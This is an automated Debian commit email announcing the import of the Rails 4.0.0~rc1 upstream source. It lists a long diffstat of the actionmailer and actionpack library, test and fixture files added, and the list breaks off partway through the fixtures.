[DRE-commits] [rails] 01/44: Imported Upstream version 4.0.0~rc1
Ondrej Sury
ondrej at moszumanska.debian.org
Wed Jul 16 15:03:54 UTC 2014
This is an automated email from the git hooks/post-receive script.
ondrej pushed a commit to branch master
in repository rails.
commit 1e11155c99727b2a40d7146a076aa207c365e2a9
Author: Ondřej Surý <ondrej at sury.org>
Date: Tue May 28 13:45:59 2013 +0200
Imported Upstream version 4.0.0~rc1
---
.gitignore | 22 +
.travis.yml | 26 +
.yardopts | 4 +
CONTRIBUTING.md | 14 +
Gemfile | 83 +
RAILS_VERSION | 1 +
README.md | 78 +
RELEASING_RAILS.rdoc | 236 ++
Rakefile | 102 +
actionmailer/CHANGELOG.md | 62 +
actionmailer/MIT-LICENSE | 21 +
actionmailer/README.rdoc | 165 +
actionmailer/Rakefile | 36 +
actionmailer/actionmailer.gemspec | 25 +
actionmailer/lib/action_mailer.rb | 47 +
actionmailer/lib/action_mailer/base.rb | 794 ++++
actionmailer/lib/action_mailer/collector.rb | 30 +
actionmailer/lib/action_mailer/delivery_methods.rb | 83 +
actionmailer/lib/action_mailer/log_subscriber.rb | 22 +
actionmailer/lib/action_mailer/mail_helper.rb | 54 +
actionmailer/lib/action_mailer/railtie.rb | 44 +
actionmailer/lib/action_mailer/test_case.rb | 85 +
actionmailer/lib/action_mailer/test_helper.rb | 60 +
actionmailer/lib/action_mailer/version.rb | 11 +
actionmailer/lib/rails/generators/mailer/USAGE | 17 +
.../rails/generators/mailer/mailer_generator.rb | 16 +
.../rails/generators/mailer/templates/mailer.rb | 18 +
actionmailer/test/abstract_unit.rb | 63 +
actionmailer/test/asset_host_test.rb | 55 +
actionmailer/test/base_test.rb | 694 ++++
actionmailer/test/delivery_methods_test.rb | 211 ++
actionmailer/test/fixtures/anonymous/welcome.erb | 1 +
.../fixtures/another.path/base_mailer/welcome.erb | 1 +
.../asset_host_mailer/email_with_asset.html.erb | 1 +
.../test/fixtures/asset_mailer/welcome.html.erb | 1 +
.../test/fixtures/async_mailer/welcome.erb | 1 +
actionmailer/test/fixtures/attachments/foo.jpg | Bin 0 -> 2029 bytes
actionmailer/test/fixtures/attachments/test.jpg | Bin 0 -> 2029 bytes
.../fixtures/auto_layout_mailer/hello.html.erb | 1 +
.../fixtures/auto_layout_mailer/multipart.html.erb | 1 +
.../fixtures/auto_layout_mailer/multipart.text.erb | 1 +
.../base_mailer/attachment_with_content.erb | 1 +
.../base_mailer/attachment_with_hash.html.erb | 0
.../attachment_with_hash_default_encoding.html.erb | 0
.../fixtures/base_mailer/different_layout.html.erb | 1 +
.../fixtures/base_mailer/different_layout.text.erb | 1 +
.../base_mailer/email_custom_layout.text.html.erb | 1 +
.../base_mailer/email_with_translations.html.erb | 1 +
.../explicit_multipart_templates.html.erb | 1 +
.../explicit_multipart_templates.text.erb | 1 +
.../explicit_multipart_with_one_template.erb | 1 +
.../test/fixtures/base_mailer/html_only.html.erb | 1 +
.../base_mailer/implicit_multipart.html.erb | 1 +
.../base_mailer/implicit_multipart.text.erb | 1 +
.../base_mailer/implicit_with_locale.en.html.erb | 1 +
.../base_mailer/implicit_with_locale.html.erb | 1 +
.../base_mailer/implicit_with_locale.pl.text.erb | 1 +
.../base_mailer/implicit_with_locale.text.erb | 1 +
.../base_mailer/inline_attachment.html.erb | 5 +
.../base_mailer/inline_attachment.text.erb | 4 +
.../fixtures/base_mailer/plain_text_only.text.erb | 1 +
actionmailer/test/fixtures/base_mailer/welcome.erb | 1 +
.../base_mailer/welcome_with_headers.html.erb | 0
.../fixtures/base_mailer/without_mail_call.erb | 1 +
.../base_test/after_action_mailer/welcome.html.erb | 0
.../before_action_mailer/welcome.html.erb | 0
.../welcome.html.erb | 0
.../explicit_layout_mailer/logout.html.erb | 1 +
.../explicit_layout_mailer/signup.html.erb | 1 +
actionmailer/test/fixtures/first_mailer/share.erb | 1 +
.../i18n_test_mailer/mail_with_i18n_subject.erb | 4 +
.../fixtures/layouts/auto_layout_mailer.html.erb | 1 +
.../fixtures/layouts/auto_layout_mailer.text.erb | 1 +
.../fixtures/layouts/different_layout.html.erb | 1 +
.../fixtures/layouts/different_layout.text.erb | 1 +
actionmailer/test/fixtures/layouts/spam.html.erb | 1 +
.../delivery_mailer/welcome.html.erb | 0
.../fixtures/nested_layout_mailer/signup.html.erb | 1 +
.../multipart_with_template_path_with_dots.erb | 1 +
.../test/fixtures/proc_mailer/welcome.html.erb | 0
actionmailer/test/fixtures/raw_email | 14 +
actionmailer/test/fixtures/raw_email10 | 20 +
actionmailer/test/fixtures/raw_email12 | 32 +
actionmailer/test/fixtures/raw_email13 | 29 +
actionmailer/test/fixtures/raw_email2 | 114 +
actionmailer/test/fixtures/raw_email3 | 70 +
actionmailer/test/fixtures/raw_email4 | 59 +
actionmailer/test/fixtures/raw_email5 | 19 +
actionmailer/test/fixtures/raw_email6 | 20 +
actionmailer/test/fixtures/raw_email7 | 66 +
actionmailer/test/fixtures/raw_email8 | 47 +
actionmailer/test/fixtures/raw_email9 | 28 +
.../test/fixtures/raw_email_quoted_with_0d0a | 14 +
...w_email_with_invalid_characters_in_content_type | 104 +
.../test/fixtures/raw_email_with_nested_attachment | 100 +
.../raw_email_with_partially_quoted_subject | 14 +
actionmailer/test/fixtures/second_mailer/share.erb | 1 +
actionmailer/test/fixtures/templates/signed_up.erb | 3 +
.../fixtures/test_mailer/_subtemplate.text.erb | 1 +
.../custom_templating_extension.html.haml | 6 +
.../custom_templating_extension.text.haml | 6 +
.../implicitly_multipart_example.html.erb | 10 +
.../implicitly_multipart_example.ignored.erb | 1 +
.../implicitly_multipart_example.text.erb | 2 +
.../implicitly_multipart_example.yaml.erb | 1 +
.../test_mailer/included_subtemplate.text.erb | 1 +
.../test_mailer/multipart_alternative.html.erb | 1 +
.../test_mailer/multipart_alternative.plain.erb | 1 +
.../test/fixtures/test_mailer/rxml_template.rxml | 2 +
.../test/fixtures/test_mailer/signed_up.html.erb | 3 +
.../url_test_mailer/signed_up_with_url.erb | 5 +
actionmailer/test/i18n_with_controller_test.rb | 46 +
actionmailer/test/log_subscriber_test.rb | 42 +
actionmailer/test/mail_helper_test.rb | 111 +
actionmailer/test/mail_layout_test.rb | 105 +
actionmailer/test/mailers/asset_mailer.rb | 7 +
actionmailer/test/mailers/base_mailer.rb | 130 +
actionmailer/test/mailers/proc_mailer.rb | 16 +
actionmailer/test/test_helper_test.rb | 126 +
actionmailer/test/test_test.rb | 28 +
actionmailer/test/url_test.rb | 78 +
actionpack/CHANGELOG.md | 1193 ++++++
actionpack/MIT-LICENSE | 21 +
actionpack/README.rdoc | 58 +
actionpack/RUNNING_UNIT_TESTS.rdoc | 27 +
actionpack/Rakefile | 83 +
actionpack/actionpack.gemspec | 30 +
actionpack/lib/abstract_controller.rb | 21 +
actionpack/lib/abstract_controller/asset_paths.rb | 10 +
actionpack/lib/abstract_controller/base.rb | 237 ++
actionpack/lib/abstract_controller/callbacks.rb | 217 ++
actionpack/lib/abstract_controller/collector.rb | 36 +
actionpack/lib/abstract_controller/helpers.rb | 179 +
actionpack/lib/abstract_controller/layouts.rb | 423 +++
actionpack/lib/abstract_controller/logger.rb | 12 +
.../abstract_controller/railties/routes_helpers.rb | 18 +
actionpack/lib/abstract_controller/rendering.rb | 196 +
actionpack/lib/abstract_controller/translation.rb | 28 +
actionpack/lib/abstract_controller/url_for.rb | 33 +
actionpack/lib/abstract_controller/view_paths.rb | 96 +
actionpack/lib/action_controller.rb | 74 +
actionpack/lib/action_controller/base.rb | 259 ++
actionpack/lib/action_controller/caching.rb | 99 +
.../lib/action_controller/caching/fragments.rb | 97 +
actionpack/lib/action_controller/deprecated.rb | 7 +
.../deprecated/integration_test.rb | 5 +
actionpack/lib/action_controller/log_subscriber.rb | 74 +
actionpack/lib/action_controller/metal.rb | 235 ++
.../lib/action_controller/metal/conditional_get.rb | 175 +
actionpack/lib/action_controller/metal/cookies.rb | 16 +
.../lib/action_controller/metal/data_streaming.rb | 171 +
.../lib/action_controller/metal/exceptions.rb | 59 +
actionpack/lib/action_controller/metal/flash.rb | 43 +
.../lib/action_controller/metal/force_ssl.rb | 97 +
actionpack/lib/action_controller/metal/head.rb | 56 +
actionpack/lib/action_controller/metal/helpers.rb | 109 +
.../lib/action_controller/metal/hide_actions.rb | 40 +
.../action_controller/metal/http_authentication.rb | 490 +++
.../lib/action_controller/metal/implicit_render.rb | 19 +
.../lib/action_controller/metal/instrumentation.rb | 106 +
actionpack/lib/action_controller/metal/live.rb | 175 +
.../lib/action_controller/metal/mime_responds.rb | 431 +++
.../lib/action_controller/metal/params_wrapper.rb | 278 ++
.../lib/action_controller/metal/rack_delegation.rb | 32 +
.../lib/action_controller/metal/redirecting.rb | 104 +
.../lib/action_controller/metal/renderers.rb | 111 +
.../lib/action_controller/metal/rendering.rb | 73 +
.../metal/request_forgery_protection.rb | 206 ++
actionpack/lib/action_controller/metal/rescue.rb | 35 +
.../lib/action_controller/metal/responder.rb | 287 ++
.../lib/action_controller/metal/streaming.rb | 223 ++
.../action_controller/metal/strong_parameters.rb | 520 +++
actionpack/lib/action_controller/metal/testing.rb | 32 +
actionpack/lib/action_controller/metal/url_for.rb | 49 +
actionpack/lib/action_controller/middleware.rb | 39 +
actionpack/lib/action_controller/model_naming.rb | 12 +
actionpack/lib/action_controller/railtie.rb | 67 +
.../lib/action_controller/railties/helpers.rb | 22 +
.../lib/action_controller/record_identifier.rb | 31 +
actionpack/lib/action_controller/test_case.rb | 701 ++++
.../lib/action_controller/vendor/html-scanner.rb | 5 +
actionpack/lib/action_dispatch.rb | 108 +
actionpack/lib/action_dispatch/http/cache.rb | 175 +
.../lib/action_dispatch/http/filter_parameters.rb | 78 +
.../lib/action_dispatch/http/filter_redirect.rb | 37 +
actionpack/lib/action_dispatch/http/headers.rb | 63 +
.../lib/action_dispatch/http/mime_negotiation.rb | 133 +
actionpack/lib/action_dispatch/http/mime_type.rb | 330 ++
actionpack/lib/action_dispatch/http/mime_types.rb | 35 +
.../lib/action_dispatch/http/parameter_filter.rb | 72 +
actionpack/lib/action_dispatch/http/parameters.rb | 83 +
actionpack/lib/action_dispatch/http/rack_cache.rb | 61 +
actionpack/lib/action_dispatch/http/request.rb | 331 ++
actionpack/lib/action_dispatch/http/response.rb | 301 ++
actionpack/lib/action_dispatch/http/upload.rb | 90 +
actionpack/lib/action_dispatch/http/url.rb | 241 ++
actionpack/lib/action_dispatch/journey.rb | 5 +
.../lib/action_dispatch/journey/backwards.rb | 5 +
.../lib/action_dispatch/journey/formatter.rb | 146 +
.../lib/action_dispatch/journey/gtg/builder.rb | 162 +
.../lib/action_dispatch/journey/gtg/simulator.rb | 44 +
.../journey/gtg/transition_table.rb | 156 +
.../lib/action_dispatch/journey/nfa/builder.rb | 76 +
actionpack/lib/action_dispatch/journey/nfa/dot.rb | 36 +
.../lib/action_dispatch/journey/nfa/simulator.rb | 47 +
.../journey/nfa/transition_table.rb | 163 +
.../lib/action_dispatch/journey/nodes/node.rb | 124 +
actionpack/lib/action_dispatch/journey/parser.rb | 206 ++
actionpack/lib/action_dispatch/journey/parser.y | 47 +
.../lib/action_dispatch/journey/parser_extras.rb | 23 +
.../lib/action_dispatch/journey/path/pattern.rb | 196 +
actionpack/lib/action_dispatch/journey/route.rb | 124 +
actionpack/lib/action_dispatch/journey/router.rb | 166 +
.../lib/action_dispatch/journey/router/strexp.rb | 24 +
.../lib/action_dispatch/journey/router/utils.rb | 54 +
actionpack/lib/action_dispatch/journey/routes.rb | 75 +
actionpack/lib/action_dispatch/journey/scanner.rb | 61 +
actionpack/lib/action_dispatch/journey/visitors.rb | 197 +
.../lib/action_dispatch/journey/visualizer/fsm.css | 34 +
.../lib/action_dispatch/journey/visualizer/fsm.js | 134 +
.../journey/visualizer/index.html.erb | 52 +
.../lib/action_dispatch/middleware/callbacks.rb | 37 +
.../lib/action_dispatch/middleware/cookies.rb | 498 +++
.../action_dispatch/middleware/debug_exceptions.rb | 91 +
.../middleware/exception_wrapper.rb | 107 +
actionpack/lib/action_dispatch/middleware/flash.rb | 263 ++
.../action_dispatch/middleware/params_parser.rb | 60 +
.../middleware/public_exceptions.rb | 47 +
.../lib/action_dispatch/middleware/reloader.rb | 89 +
.../lib/action_dispatch/middleware/remote_ip.rb | 187 +
.../lib/action_dispatch/middleware/request_id.rb | 35 +
.../middleware/session/abstract_store.rb | 90 +
.../middleware/session/cache_store.rb | 49 +
.../middleware/session/cookie_store.rb | 122 +
.../middleware/session/mem_cache_store.rb | 22 +
.../action_dispatch/middleware/show_exceptions.rb | 54 +
actionpack/lib/action_dispatch/middleware/ssl.rb | 70 +
actionpack/lib/action_dispatch/middleware/stack.rb | 129 +
.../lib/action_dispatch/middleware/static.rb | 67 +
.../templates/rescues/_request_and_response.erb | 34 +
.../middleware/templates/rescues/_source.erb | 25 +
.../middleware/templates/rescues/_trace.erb | 24 +
.../middleware/templates/rescues/diagnostics.erb | 16 +
.../middleware/templates/rescues/layout.erb | 148 +
.../templates/rescues/missing_template.erb | 7 +
.../middleware/templates/rescues/routing_error.erb | 30 +
.../templates/rescues/template_error.erb | 43 +
.../templates/rescues/unknown_action.erb | 6 +
.../middleware/templates/routes/_route.html.erb | 16 +
.../middleware/templates/routes/_table.html.erb | 144 +
actionpack/lib/action_dispatch/railtie.rb | 44 +
actionpack/lib/action_dispatch/request/session.rb | 181 +
actionpack/lib/action_dispatch/routing.rb | 258 ++
.../lib/action_dispatch/routing/inspector.rb | 240 ++
actionpack/lib/action_dispatch/routing/mapper.rb | 1761 +++++++++
.../action_dispatch/routing/polymorphic_routes.rb | 205 ++
.../lib/action_dispatch/routing/redirection.rb | 148 +
.../lib/action_dispatch/routing/route_set.rb | 709 ++++
.../lib/action_dispatch/routing/routes_proxy.rb | 41 +
actionpack/lib/action_dispatch/routing/url_for.rb | 182 +
.../lib/action_dispatch/testing/assertions.rb | 18 +
.../lib/action_dispatch/testing/assertions/dom.rb | 27 +
.../action_dispatch/testing/assertions/response.rb | 88 +
.../action_dispatch/testing/assertions/routing.rb | 218 ++
.../action_dispatch/testing/assertions/selector.rb | 430 +++
.../lib/action_dispatch/testing/assertions/tag.rb | 135 +
.../lib/action_dispatch/testing/integration.rb | 518 +++
.../lib/action_dispatch/testing/test_process.rb | 44 +
.../lib/action_dispatch/testing/test_request.rb | 78 +
.../lib/action_dispatch/testing/test_response.rb | 29 +
actionpack/lib/action_pack.rb | 24 +
actionpack/lib/action_pack/version.rb | 11 +
actionpack/lib/action_view.rb | 93 +
actionpack/lib/action_view/base.rb | 201 ++
actionpack/lib/action_view/buffers.rb | 49 +
actionpack/lib/action_view/context.rb | 36 +
actionpack/lib/action_view/dependency_tracker.rb | 93 +
actionpack/lib/action_view/digestor.rb | 85 +
actionpack/lib/action_view/flows.rb | 76 +
actionpack/lib/action_view/helpers.rb | 58 +
.../lib/action_view/helpers/active_model_helper.rb | 49 +
.../lib/action_view/helpers/asset_tag_helper.rb | 320 ++
.../lib/action_view/helpers/asset_url_helper.rb | 354 ++
.../lib/action_view/helpers/atom_feed_helper.rb | 203 ++
actionpack/lib/action_view/helpers/cache_helper.rb | 196 +
.../lib/action_view/helpers/capture_helper.rb | 216 ++
.../lib/action_view/helpers/controller_helper.rb | 25 +
actionpack/lib/action_view/helpers/csrf_helper.rb | 30 +
actionpack/lib/action_view/helpers/date_helper.rb | 1083 ++++++
actionpack/lib/action_view/helpers/debug_helper.rb | 39 +
actionpack/lib/action_view/helpers/form_helper.rb | 1880 ++++++++++
.../lib/action_view/helpers/form_options_helper.rb | 833 +++++
.../lib/action_view/helpers/form_tag_helper.rb | 785 ++++
.../lib/action_view/helpers/javascript_helper.rb | 117 +
.../lib/action_view/helpers/number_helper.rb | 441 +++
.../action_view/helpers/output_safety_helper.rb | 38 +
.../lib/action_view/helpers/record_tag_helper.rb | 106 +
.../lib/action_view/helpers/rendering_helper.rb | 90 +
.../lib/action_view/helpers/sanitize_helper.rb | 256 ++
actionpack/lib/action_view/helpers/tag_helper.rb | 173 +
actionpack/lib/action_view/helpers/tags.rb | 39 +
actionpack/lib/action_view/helpers/tags/base.rb | 147 +
.../lib/action_view/helpers/tags/check_box.rb | 64 +
.../lib/action_view/helpers/tags/checkable.rb | 16 +
.../helpers/tags/collection_check_boxes.rb | 43 +
.../action_view/helpers/tags/collection_helpers.rb | 83 +
.../helpers/tags/collection_radio_buttons.rb | 36 +
.../action_view/helpers/tags/collection_select.rb | 28 +
.../lib/action_view/helpers/tags/color_field.rb | 25 +
.../lib/action_view/helpers/tags/date_field.rb | 13 +
.../lib/action_view/helpers/tags/date_select.rb | 72 +
.../lib/action_view/helpers/tags/datetime_field.rb | 22 +
.../helpers/tags/datetime_local_field.rb | 19 +
.../action_view/helpers/tags/datetime_select.rb | 8 +
.../lib/action_view/helpers/tags/email_field.rb | 8 +
.../lib/action_view/helpers/tags/file_field.rb | 8 +
.../helpers/tags/grouped_collection_select.rb | 29 +
.../lib/action_view/helpers/tags/hidden_field.rb | 8 +
actionpack/lib/action_view/helpers/tags/label.rb | 65 +
.../lib/action_view/helpers/tags/month_field.rb | 13 +
.../lib/action_view/helpers/tags/number_field.rb | 18 +
.../lib/action_view/helpers/tags/password_field.rb | 12 +
.../lib/action_view/helpers/tags/radio_button.rb | 31 +
.../lib/action_view/helpers/tags/range_field.rb | 8 +
.../lib/action_view/helpers/tags/search_field.rb | 24 +
actionpack/lib/action_view/helpers/tags/select.rb | 40 +
.../lib/action_view/helpers/tags/tel_field.rb | 8 +
.../lib/action_view/helpers/tags/text_area.rb | 18 +
.../lib/action_view/helpers/tags/text_field.rb | 29 +
.../lib/action_view/helpers/tags/time_field.rb | 13 +
.../lib/action_view/helpers/tags/time_select.rb | 8 +
.../action_view/helpers/tags/time_zone_select.rb | 20 +
.../lib/action_view/helpers/tags/url_field.rb | 8 +
.../lib/action_view/helpers/tags/week_field.rb | 13 +
actionpack/lib/action_view/helpers/text_helper.rb | 442 +++
.../lib/action_view/helpers/translation_helper.rb | 107 +
actionpack/lib/action_view/helpers/url_helper.rb | 634 ++++
actionpack/lib/action_view/locale/en.yml | 56 +
actionpack/lib/action_view/log_subscriber.rb | 30 +
actionpack/lib/action_view/lookup_context.rb | 240 ++
actionpack/lib/action_view/model_naming.rb | 12 +
actionpack/lib/action_view/path_set.rb | 77 +
actionpack/lib/action_view/railtie.rb | 39 +
actionpack/lib/action_view/record_identifier.rb | 84 +
.../lib/action_view/renderer/abstract_renderer.rb | 47 +
.../lib/action_view/renderer/partial_renderer.rb | 492 +++
actionpack/lib/action_view/renderer/renderer.rb | 50 +
.../renderer/streaming_template_renderer.rb | 103 +
.../lib/action_view/renderer/template_renderer.rb | 96 +
actionpack/lib/action_view/routing_url_for.rb | 107 +
actionpack/lib/action_view/template.rb | 339 ++
actionpack/lib/action_view/template/error.rb | 138 +
actionpack/lib/action_view/template/handlers.rb | 53 +
.../lib/action_view/template/handlers/builder.rb | 26 +
.../lib/action_view/template/handlers/erb.rb | 146 +
.../lib/action_view/template/handlers/raw.rb | 11 +
actionpack/lib/action_view/template/resolver.rb | 326 ++
actionpack/lib/action_view/template/text.rb | 34 +
actionpack/lib/action_view/template/types.rb | 57 +
actionpack/lib/action_view/test_case.rb | 270 ++
actionpack/lib/action_view/testing/resolvers.rb | 50 +
actionpack/lib/action_view/vendor/html-scanner.rb | 20 +
.../vendor/html-scanner/html/document.rb | 68 +
.../action_view/vendor/html-scanner/html/node.rb | 532 +++
.../vendor/html-scanner/html/sanitizer.rb | 188 +
.../vendor/html-scanner/html/selector.rb | 830 +++++
.../vendor/html-scanner/html/tokenizer.rb | 107 +
.../vendor/html-scanner/html/version.rb | 11 +
.../test/abstract/abstract_controller_test.rb | 261 ++
actionpack/test/abstract/callbacks_test.rb | 315 ++
actionpack/test/abstract/collector_test.rb | 57 +
actionpack/test/abstract/helper_test.rb | 101 +
actionpack/test/abstract/layouts_test.rb | 383 ++
actionpack/test/abstract/render_test.rb | 102 +
actionpack/test/abstract/translation_test.rb | 50 +
.../testing/me3/formatted.html.erb | 1 +
.../abstract_controller/testing/me3/index.erb | 1 +
.../abstract_controller/testing/me4/index.erb | 1 +
.../abstract_controller/testing/me5/index.erb | 1 +
.../test/abstract/views/action_with_ivars.erb | 1 +
actionpack/test/abstract/views/helper_test.erb | 1 +
actionpack/test/abstract/views/index.erb | 1 +
.../layouts/abstract_controller/testing/me4.erb | 1 +
.../test/abstract/views/layouts/application.erb | 1 +
actionpack/test/abstract/views/naked_render.erb | 1 +
actionpack/test/abstract_unit.rb | 382 ++
actionpack/test/active_record_unit.rb | 91 +
.../test/activerecord/controller_runtime_test.rb | 95 +
.../activerecord/form_helper_activerecord_test.rb | 91 +
.../test/activerecord/polymorphic_routes_test.rb | 546 +++
...nder_partial_with_record_identification_test.rb | 210 ++
.../test/assertions/response_assertions_test.rb | 55 +
.../test/controller/action_pack_assertions_test.rb | 626 ++++
actionpack/test/controller/assert_select_test.rb | 348 ++
actionpack/test/controller/base_test.rb | 328 ++
actionpack/test/controller/caching_test.rb | 330 ++
actionpack/test/controller/capture_test.rb | 79 +
actionpack/test/controller/content_type_test.rb | 159 +
.../app/controllers/admin/user_controller.rb | 0
.../app/controllers/user_controller.rb | 0
.../plugins/bad_plugin/lib/plugin_controller.rb | 0
.../default_url_options_with_before_action_test.rb | 29 +
actionpack/test/controller/filters_test.rb | 1020 ++++++
actionpack/test/controller/flash_hash_test.rb | 192 +
actionpack/test/controller/flash_test.rb | 314 ++
actionpack/test/controller/force_ssl_test.rb | 337 ++
actionpack/test/controller/helper_test.rb | 269 ++
.../controller/http_basic_authentication_test.rb | 137 +
.../controller/http_digest_authentication_test.rb | 289 ++
.../controller/http_token_authentication_test.rb | 144 +
actionpack/test/controller/integration_test.rb | 787 ++++
actionpack/test/controller/layout_test.rb | 262 ++
actionpack/test/controller/live_stream_test.rb | 210 ++
.../test/controller/localized_templates_test.rb | 37 +
actionpack/test/controller/log_subscriber_test.rb | 314 ++
actionpack/test/controller/mime_responds_test.rb | 1254 +++++++
.../test/controller/new_base/bare_metal_test.rb | 151 +
actionpack/test/controller/new_base/base_test.rb | 132 +
.../new_base/content_negotiation_test.rb | 27 +
.../test/controller/new_base/content_type_test.rb | 112 +
actionpack/test/controller/new_base/metal_test.rb | 45 +
.../test/controller/new_base/middleware_test.rb | 110 +
.../test/controller/new_base/render_action_test.rb | 315 ++
.../controller/new_base/render_context_test.rb | 54 +
.../test/controller/new_base/render_file_test.rb | 99 +
.../new_base/render_implicit_action_test.rb | 42 +
.../test/controller/new_base/render_layout_test.rb | 127 +
.../controller/new_base/render_partial_test.rb | 63 +
.../controller/new_base/render_streaming_test.rb | 114 +
.../controller/new_base/render_template_test.rb | 230 ++
actionpack/test/controller/new_base/render_test.rb | 136 +
.../test/controller/new_base/render_text_test.rb | 143 +
.../test/controller/new_base/render_xml_test.rb | 11 +
actionpack/test/controller/output_escaping_test.rb | 17 +
.../parameters/log_on_unpermitted_params_test.rb | 50 +
.../parameters/multi_parameter_attributes_test.rb | 38 +
.../parameters/nested_parameters_test.rb | 172 +
.../parameters/parameters_permit_test.rb | 228 ++
.../parameters/parameters_require_test.rb | 10 +
.../parameters/raise_on_unpermitted_params_test.rb | 33 +
actionpack/test/controller/params_wrapper_test.rb | 330 ++
.../test/controller/permitted_params_test.rb | 25 +
.../test/controller/record_identifier_test.rb | 34 +
actionpack/test/controller/redirect_test.rb | 344 ++
actionpack/test/controller/render_js_test.rb | 34 +
actionpack/test/controller/render_json_test.rb | 136 +
actionpack/test/controller/render_other_test.rb | 21 +
actionpack/test/controller/render_test.rb | 1699 +++++++++
actionpack/test/controller/render_xml_test.rb | 97 +
.../test/controller/request/test_request_test.rb | 35 +
.../controller/request_forgery_protection_test.rb | 381 ++
actionpack/test/controller/required_params_test.rb | 27 +
actionpack/test/controller/rescue_test.rb | 348 ++
actionpack/test/controller/resources_test.rb | 1331 +++++++
actionpack/test/controller/routing_test.rb | 1921 ++++++++++
actionpack/test/controller/runner_test.rb | 22 +
actionpack/test/controller/selector_test.rb | 629 ++++
actionpack/test/controller/send_file_test.rb | 199 +
actionpack/test/controller/show_exceptions_test.rb | 112 +
actionpack/test/controller/streaming_test.rb | 26 +
actionpack/test/controller/test_case_test.rb | 986 +++++
.../test/controller/url_for_integration_test.rb | 177 +
actionpack/test/controller/url_for_test.rb | 379 ++
actionpack/test/controller/url_rewriter_test.rb | 90 +
actionpack/test/controller/view_paths_test.rb | 174 +
actionpack/test/controller/webservice_test.rb | 103 +
actionpack/test/dispatch/callbacks_test.rb | 58 +
actionpack/test/dispatch/cookies_test.rb | 811 +++++
actionpack/test/dispatch/debug_exceptions_test.rb | 204 ++
actionpack/test/dispatch/header_test.rb | 137 +
actionpack/test/dispatch/live_response_test.rb | 83 +
actionpack/test/dispatch/mapper_test.rb | 112 +
.../dispatch/middleware_stack/middleware_test.rb | 77 +
actionpack/test/dispatch/middleware_stack_test.rb | 117 +
actionpack/test/dispatch/mime_type_test.rb | 210 ++
actionpack/test/dispatch/mount_test.rb | 68 +
actionpack/test/dispatch/prefix_generation_test.rb | 335 ++
actionpack/test/dispatch/rack_cache_test.rb | 21 +
actionpack/test/dispatch/rack_test.rb | 207 ++
actionpack/test/dispatch/reloader_test.rb | 171 +
.../dispatch/request/json_params_parsing_test.rb | 150 +
.../request/multipart_params_parsing_test.rb | 183 +
.../dispatch/request/query_string_parsing_test.rb | 140 +
actionpack/test/dispatch/request/session_test.rb | 73 +
.../request/url_encoded_params_parsing_test.rb | 178 +
actionpack/test/dispatch/request_id_test.rb | 65 +
actionpack/test/dispatch/request_test.rb | 850 +++++
actionpack/test/dispatch/response_test.rb | 293 ++
actionpack/test/dispatch/routing/concerns_test.rb | 119 +
actionpack/test/dispatch/routing/inspector_test.rb | 239 ++
actionpack/test/dispatch/routing/route_set_test.rb | 86 +
.../test/dispatch/routing_assertions_test.rb | 115 +
actionpack/test/dispatch/routing_test.rb | 3596 ++++++++++++++++++
.../test/dispatch/session/abstract_store_test.rb | 56 +
.../test/dispatch/session/cache_store_test.rb | 180 +
.../test/dispatch/session/cookie_store_test.rb | 356 ++
.../test/dispatch/session/mem_cache_store_test.rb | 182 +
.../test/dispatch/session/test_session_test.rb | 43 +
actionpack/test/dispatch/show_exceptions_test.rb | 108 +
actionpack/test/dispatch/ssl_test.rb | 164 +
actionpack/test/dispatch/static_test.rb | 155 +
actionpack/test/dispatch/test_request_test.rb | 69 +
actionpack/test/dispatch/test_response_test.rb | 21 +
actionpack/test/dispatch/uploaded_file_test.rb | 93 +
actionpack/test/dispatch/url_generation_test.rb | 102 +
.../test/fixtures/_top_level_partial.html.erb | 1 +
.../test/fixtures/_top_level_partial_only.erb | 1 +
.../test/fixtures/alternate_helpers/foo_helper.rb | 3 +
.../fixtures/bad_customers/_bad_customer.html.erb | 1 +
actionpack/test/fixtures/blog_public/.gitignore | 1 +
actionpack/test/fixtures/blog_public/blog.html | 1 +
actionpack/test/fixtures/blog_public/index.html | 1 +
.../test/fixtures/blog_public/subdir/index.html | 1 +
.../test/fixtures/comments/empty.de.html.erb | 1 +
.../test/fixtures/comments/empty.html.builder | 1 +
actionpack/test/fixtures/comments/empty.html.erb | 1 +
actionpack/test/fixtures/comments/empty.xml.erb | 1 +
actionpack/test/fixtures/companies.yml | 24 +
actionpack/test/fixtures/company.rb | 9 +
.../test/fixtures/custom_pattern/another.html.erb | 1 +
.../test/fixtures/custom_pattern/html/another.erb | 1 +
.../test/fixtures/custom_pattern/html/path.erb | 1 +
.../test/fixtures/customers/_customer.html.erb | 1 +
actionpack/test/fixtures/db_definitions/sqlite.sql | 49 +
actionpack/test/fixtures/developer.rb | 10 +
actionpack/test/fixtures/developers.yml | 21 +
actionpack/test/fixtures/developers/_developer.erb | 1 +
actionpack/test/fixtures/developers_projects.yml | 13 +
.../fixtures/digestor/comments/_comment.html.erb | 1 +
.../fixtures/digestor/comments/_comments.html.erb | 1 +
.../test/fixtures/digestor/events/_event.html.erb | 0
.../fixtures/digestor/level/below/_header.html.erb | 0
.../fixtures/digestor/level/below/index.html.erb | 1 +
.../test/fixtures/digestor/messages/_form.html.erb | 0
.../fixtures/digestor/messages/_header.html.erb | 0
.../fixtures/digestor/messages/_message.html.erb | 1 +
.../digestor/messages/actions/_move.html.erb | 0
.../test/fixtures/digestor/messages/edit.html.erb | 5 +
.../test/fixtures/digestor/messages/index.html.erb | 2 +
.../test/fixtures/digestor/messages/show.html.erb | 13 +
.../filter_test/implicit_actions/edit.html.erb | 1 +
.../filter_test/implicit_actions/show.html.erb | 1 +
actionpack/test/fixtures/fun/games/_form.erb | 1 +
actionpack/test/fixtures/fun/games/_game.erb | 1 +
actionpack/test/fixtures/fun/games/hello_world.erb | 1 +
.../test/fixtures/fun/serious/games/_game.erb | 1 +
.../test/fixtures/functional_caching/_partial.erb | 3 +
.../formatted_fragment_cached.html.erb | 3 +
.../formatted_fragment_cached.xml.builder | 5 +
.../functional_caching/fragment_cached.html.erb | 3 +
.../fragment_cached_without_digest.html.erb | 3 +
.../html_fragment_cached_with_partial.html.erb | 1 +
.../inline_fragment_cached.html.erb | 2 +
actionpack/test/fixtures/games/_game.erb | 1 +
.../good_customers/_good_customer.html.erb | 1 +
.../happy_path/render_action/hello_world.erb | 1 +
actionpack/test/fixtures/hello.html | 1 +
actionpack/test/fixtures/helpers/abc_helper.rb | 5 +
.../test/fixtures/helpers/fun/games_helper.rb | 5 +
actionpack/test/fixtures/helpers/fun/pdf_helper.rb | 5 +
.../test/fixtures/helpers/helpery_test_helper.rb | 5 +
actionpack/test/fixtures/helpers/just_me_helper.rb | 3 +
